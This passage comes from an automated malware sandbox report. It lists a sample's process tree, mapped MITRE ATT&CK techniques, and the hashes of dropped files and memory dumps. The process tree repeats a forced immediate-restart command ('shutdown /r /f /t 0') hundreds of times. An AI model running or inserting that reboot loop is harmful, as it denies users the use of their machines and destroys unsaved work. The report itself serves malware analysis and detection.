    shutdown /r /f /t 0
    3⤵
    PID:1220
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1420
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2984
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3652
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4568
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1304
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4976
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4452
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1452
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2280
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2568
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2084
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4156
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4356
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2976
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4160
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3808
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4872
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4072
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4692
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1220
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1420
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2752
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4668
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5040
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3352
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4556
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2740
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1756
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5004
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2960
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1212
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1372
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1516
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4228
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2928
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4156
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2148
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2008
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:132
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2240
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4932
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3388
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3028
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2760
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2128
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2224
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2040
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4260
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1400
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2208
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1296
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2356
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:948
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1884
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2544
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:804
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1760
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2376
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:868
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3404
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3380
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4072
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:428
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4632
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1028
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4816
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4344
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5060
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5028
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5056
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4516
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4952
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3672
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2248
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1144
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3796
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4432
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1544
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4160
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3580
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4692
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2128
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1684
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3652
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1304
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1364
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3604
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2932
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2532
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4740
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1212
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2748
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4620
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:696
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2148
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4488
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3300
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3092
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:564
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1724
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1220
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3408
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5060
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5064
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3296
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3372
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2740
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4224
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:948
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3324
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2264
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2524
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4144
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
88dc70c361a22feac57b031dd9c1f02f

SHA1
a9b4732260c2a323750022a73480f229ce25d46d

SHA256
43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

SHA512
19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skfob1ij.pxc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1924-33-0x00007FFDE84A0000-0x00007FFDE85C0000-memory.dmp

Filesize
1.1MB

Download
memory/1924-28-0x00007FFDE82F0000-0x00007FFDE83AD000-memory.dmp

Filesize
756KB

Download
memory/1924-34-0x00007FFDE7E00000-0x00007FFDE7E6F000-memory.dmp

Filesize
444KB

Download
memory/1924-29-0x00007FFDE7110000-0x00007FFDE7484000-memory.dmp

Filesize
3.5MB

Download
memory/1924-31-0x00007FFDE7BC0000-0x00007FFDE7C6E000-memory.dmp

Filesize
696KB

Download
memory/1924-30-0x00007FFDE9740000-0x00007FFDE97E3000-memory.dmp

Filesize
652KB

Download
memory/1924-27-0x00007FFDE9B80000-0x00007FFDE9D89000-memory.dmp

Filesize
2.0MB

Download
memory/1924-32-0x00007FFDE86A0000-0x00007FFDE873E000-memory.dmp

Filesize
632KB

Download
memory/2428-75-0x00007FFDE9730000-0x00007FFDE9739000-memory.dmp

Filesize
36KB

Download
memory/2428-69-0x00007FFDE9B80000-0x00007FFDE9D89000-memory.dmp

Filesize
2.0MB

Download
memory/2428-70-0x00007FFDE82F0000-0x00007FFDE83AD000-memory.dmp

Filesize
756KB

Download
memory/2428-71-0x00007FFDE7110000-0x00007FFDE7484000-memory.dmp

Filesize
3.5MB

Download
memory/2428-72-0x00007FFDE9740000-0x00007FFDE97E3000-memory.dmp

Filesize
652KB

Download
memory/2428-73-0x00007FFDE7E00000-0x00007FFDE7E6F000-memory.dmp

Filesize
444KB

Download
memory/2428-74-0x00007FFDE84A0000-0x00007FFDE85C0000-memory.dmp

Filesize
1.1MB

Download
memory/2464-88-0x00007FFDE9740000-0x00007FFDE97E3000-memory.dmp

Filesize
652KB

Download
memory/2464-86-0x00007FFDE82F0000-0x00007FFDE83AD000-memory.dmp

Filesize
756KB

Download
memory/2464-85-0x00007FFDE9B80000-0x00007FFDE9D89000-memory.dmp

Filesize
2.0MB

Download
memory/2464-87-0x00007FFDE7110000-0x00007FFDE7484000-memory.dmp

Filesize
3.5MB

Download
memory/2464-90-0x00007FFDE86A0000-0x00007FFDE873E000-memory.dmp

Filesize
632KB

Download
memory/2464-89-0x00007FFDE7BC0000-0x00007FFDE7C6E000-memory.dmp

Filesize
696KB

Download
memory/3148-0-0x00007FFDC8A73000-0x00007FFDC8A75000-memory.dmp

Filesize
8KB

Download
memory/3148-1-0x0000017BFC410000-0x0000017BFC432000-memory.dmp

Filesize
136KB

Download
memory/3148-10-0x00007FFDC8A70000-0x00007FFDC9532000-memory.dmp

Filesize
10.8MB

Download
memory/3148-11-0x00007FFDC8A70000-0x00007FFDC9532000-memory.dmp

Filesize
10.8MB

Download
memory/3148-12-0x00007FFDC8A70000-0x00007FFDC9532000-memory.dmp

Filesize
10.8MB

Download
memory/3148-15-0x00007FFDC8A70000-0x00007FFDC9532000-memory.dmp

Filesize
10.8MB

Download
memory/3468-59-0x00007FFDE9580000-0x00007FFDE972C000-memory.dmp

Filesize
1.7MB

Download
memory/3468-52-0x00007FFDE9B80000-0x00007FFDE9D89000-memory.dmp

Filesize
2.0MB

Download
memory/3468-63-0x00007FFDE7070000-0x00007FFDE710D000-memory.dmp

Filesize
628KB

Download
memory/3468-54-0x00007FFDE7110000-0x00007FFDE7484000-memory.dmp

Filesize
3.5MB

Download
memory/3468-53-0x00007FFDE82F0000-0x00007FFDE83AD000-memory.dmp

Filesize
756KB

Download
memory/3468-55-0x00007FFDE7BC0000-0x00007FFDE7C6E000-memory.dmp

Filesize
696KB

Download
memory/3468-56-0x00007FFDE9740000-0x00007FFDE97E3000-memory.dmp

Filesize
652KB

Download
memory/3468-68-0x00007FFDE8BB0000-0x00007FFDE8C0D000-memory.dmp

Filesize
372KB

Download
memory/3468-67-0x00007FFDE7E00000-0x00007FFDE7E6F000-memory.dmp

Filesize
444KB

Download
memory/3468-66-0x00007FFDE7E80000-0x00007FFDE81F8000-memory.dmp

Filesize
3.5MB

Download
memory/3468-65-0x00007FFDE85C0000-0x00007FFDE8696000-memory.dmp

Filesize
856KB

Download
memory/3468-64-0x00007FFDE7490000-0x00007FFDE75A1000-memory.dmp

Filesize
1.1MB

Download
memory/3468-62-0x00007FFDE75B0000-0x00007FFDE76C2000-memory.dmp

Filesize
1.1MB

Download
memory/3468-61-0x00007FFDE7D20000-0x00007FFDE7D49000-memory.dmp

Filesize
164KB

Download
memory/3468-60-0x00007FFDE7840000-0x00007FFDE7866000-memory.dmp

Filesize
152KB

Download
memory/3468-57-0x00007FFDE86A0000-0x00007FFDE873E000-memory.dmp

Filesize
632KB

Download
memory/3468-58-0x00007FFDE84A0000-0x00007FFDE85C0000-memory.dmp

Filesize
1.1MB

Download
memory/3480-44-0x00007FFDE7D20000-0x00007FFDE7D49000-memory.dmp

Filesize
164KB

Download
memory/3480-41-0x00007FFDE84A0000-0x00007FFDE85C0000-memory.dmp

Filesize
1.1MB

Download
memory/3480-43-0x00007FFDE7840000-0x00007FFDE7866000-memory.dmp

Filesize
152KB

Download
memory/3480-42-0x00007FFDE9580000-0x00007FFDE972C000-memory.dmp

Filesize
1.7MB

Download
memory/3480-35-0x00007FFDE9B80000-0x00007FFDE9D89000-memory.dmp

Filesize
2.0MB

Download
memory/3480-36-0x00007FFDE82F0000-0x00007FFDE83AD000-memory.dmp

Filesize
756KB

Download
memory/3480-50-0x00007FFDE7E00000-0x00007FFDE7E6F000-memory.dmp

Filesize
444KB

Download
memory/3480-49-0x00007FFDE7E80000-0x00007FFDE81F8000-memory.dmp

Filesize
3.5MB

Download
memory/3480-48-0x00007FFDE85C0000-0x00007FFDE8696000-memory.dmp

Filesize
856KB

Download
memory/3480-47-0x00007FFDE7490000-0x00007FFDE75A1000-memory.dmp

Filesize
1.1MB

Download
memory/3480-46-0x00007FFDE7070000-0x00007FFDE710D000-memory.dmp

Filesize
628KB

Download
memory/3480-45-0x00007FFDE75B0000-0x00007FFDE76C2000-memory.dmp

Filesize
1.1MB

Download
memory/3480-37-0x00007FFDE7110000-0x00007FFDE7484000-memory.dmp

Filesize
3.5MB

Download
memory/3480-38-0x00007FFDE7BC0000-0x00007FFDE7C6E000-memory.dmp

Filesize
696KB

Download
memory/3480-39-0x00007FFDE9740000-0x00007FFDE97E3000-memory.dmp

Filesize
652KB

Download
memory/3480-40-0x00007FFDE86A0000-0x00007FFDE873E000-memory.dmp

Filesize
632KB

Download
memory/3480-51-0x00007FFDE8BB0000-0x00007FFDE8C0D000-memory.dmp

Filesize
372KB

Download
memory/3696-84-0x00007FFDE84A0000-0x00007FFDE85C0000-memory.dmp

Filesize
1.1MB

Download
memory/3696-78-0x00007FFDE7110000-0x00007FFDE7484000-memory.dmp

Filesize
3.5MB

Download
memory/3696-83-0x00007FFDE7E80000-0x00007FFDE81F8000-memory.dmp

Filesize
3.5MB

Download
memory/3696-77-0x00007FFDE82F0000-0x00007FFDE83AD000-memory.dmp

Filesize
756KB

Download
memory/3696-76-0x00007FFDE9B80000-0x00007FFDE9D89000-memory.dmp

Filesize
2.0MB

Download
memory/3696-80-0x00007FFDE85C0000-0x00007FFDE8696000-memory.dmp

Filesize
856KB

Download
memory/3696-81-0x00007FFDE7070000-0x00007FFDE710D000-memory.dmp

Filesize
628KB

Download
memory/3696-82-0x00007FFDE7490000-0x00007FFDE75A1000-memory.dmp

Filesize
1.1MB

Download
